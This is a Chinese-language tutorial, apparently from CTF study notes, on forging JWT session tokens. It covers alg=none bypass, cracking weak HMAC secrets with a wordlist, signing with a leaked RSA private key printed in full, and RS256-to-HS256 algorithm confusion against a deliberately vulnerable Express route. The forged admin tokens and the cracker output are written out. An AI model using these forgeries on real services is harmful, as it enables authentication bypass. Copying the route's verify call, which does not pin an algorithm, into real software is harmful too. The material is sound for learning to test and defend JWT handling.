jwt_session伪造
JWT:将用户身份信息编码到Token,通过签名确保数据完整性,无需服务器验证,只需要验证签名完整性
jwt由三部分组成:头部.载荷.签证
由签证验证前两者的准确性
JWT常见漏洞
-
alg=none签名绕过
例如如下代码生成的
import jwt from datetime import datetime, timedelta # 配置参数 SECRET_KEY = "your-256-bit-secret" # 密钥(对于 alg=none 并不使用) ALGORITHM = "none" # 使用 alg=none 签名算法 # 定义载荷(Payload) payload = { "sub": "user123", # 用户唯一标识(Subject) "name": "Alice", "iat": datetime.utcnow(), # 签发时间 "exp": datetime.utcnow() + timedelta(hours=1), # 过期时间 "roles": ["admin"] # 用户角色(自定义声明) } # 生成 JWT,不提供密钥,因为 alg=none 不需要签名 token = jwt.encode( payload, None, # 对于 alg=none,密钥应为 None algorithm=ALGORITHM ) print("Generated JWT (alg=none):", token)会生成如下jwt
Generated JWT (alg=none): eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyMTIzIiwibmFtZSI6IkFsaWNlIiwiaWF0IjoxNzQwMzY3NDYyLCJleHAiOjE3NDAzNzEwNjIsInJvbGVzIjpbImFkbWluIl19可以看到是没有签证的,可以随意修改

或者有些代码逻辑上有问题,会出现允许none加密,这时修改加密即可绕过检测
{"typ":"JWT","alg":"none"}.{"username":"admin","password":"a","role":"admin"} eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhIiwicm9sZSI6ImFkbWluIn0=.
-
弱对称密码爆破
如果加密使用的是弱口令则可以通过工具爆破
neko@aosc-neko205 [ JWT ] $ python3 jwtboom.py --list ../fuzzDicts/rockyou.txt --decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwibmFtZSI6IkFsaWNlIiwiaWF0IjoxNzQwMzY5MTE5LCJleHAiOjE3NDAzNzI3MTksInJvbGVzIjpbImFkbWluIl19.q2adrPkB41Kl4B3ovkOBNoqNxYY-ezrQviMYnA_4uPY 成功解码! 密钥: 123456 解码内容: {'sub': 'user123', 'name': 'Alice', 'iat': 1740369119, 'exp': 1740372719, 'roles': ['admin']}常见的有通过python实现的字典类爆破工具以及一个c实现的爆破工具
https://github.com/brendan-rius/c-jwt-cracker

-
私钥泄漏
如果私钥泄漏,就可以通过其伪造jwt
neko@aosc-neko205 [ JWT ] $ cat 1.py import jwt pub = ''' -----BEGIN RSA PRIVATE KEY----- MIICWwIBAAKBgQDNioS2aSHtu6WIU88oWzpShhkb+r6QPBryJmdaR1a3ToD9sXDb eni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnXYqlTJItOdHZio3Bi1J2Elxg8 IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjAbG1Naz58ibbtogeglQIDAQAB AoGAE+mAc995fvt3zN45qnI0EzyUgCZpgbWg8qaPyqowl2+OhYVEJq8VtPcVB1PK frOtnyzYsmbnwjZJgEVYTlQsum0zJBuTKoN4iDoV0Oq1Auwlcr6O0T35RGiijqAX h7iFjNscfs/Dp/BnyKZuu60boXrcuyuZ8qXHz0exGkegjMECQQD1eP39cPhcwydM cdEBOgkI/E/EDWmdjcwIoauczwiQEx56EjAwM88rgxUGCUF4R/hIW9JD1vlp62Qi ST9LU4lxAkEA1lsfr9gF/9OdzAsPfuTLsl+l9zpo1jjzhXlwmHFgyCAn7gBKeWdv ubocOClTTQ7Y4RqivomTmlNVtmcHda1XZQJAR0v0IZedW3wHPwnT1dJga261UFFA +tUDjQJAERSE/SvAb143BtkVdCLniVBI5sGomIOq569Z0+zdsaOqsZs60QJAYqtJ V7EReeQX8693r4pztSTQCZBKZ6mJdvwidxlhWl1q4+QgY+fYBt8DVFq5bHQUIvIW zawYVGZdwvuD9IgY/QJAGCJbXA+Knw10B+g5tDZfVHsr6YYMY3Q24zVu4JXozWDV x+G39IajrVKwuCPG2VezWfwfWpTeo2bDmQS0CWOPjA== -----END RSA PRIVATE KEY----- ''' payload = {"user":"admin"} print(jwt.encode(payload,key=pub,algorithm='RS256')) -
非对称加密不严谨
如下
var express = require('express'); var router = express.Router(); var jwt = require('jsonwebtoken'); var fs = require('fs'); /* GET home page. */ router.get('/', function(req, res, next) { res.type('html'); var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key'); var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' }); res.cookie('auth',token); res.end('where is flag?'); }); router.post('/',function(req,res,next){ var flag="flag_here"; res.type('html'); var auth = req.cookies.auth; var cert = fs.readFileSync(process.cwd()+'//routes/public.key'); // get public key jwt.verify(auth, cert,function(err, decoded) { if(decoded.user==='admin'){ res.end(flag); }else{ res.end('you are not admin'+err); } }); }); module.exports = router;加密时使用了RS256进行非对称加密,但解密并没有制定算法,如果使用公钥生成一个HS256的对称加密jwt,也可以通过下面的认证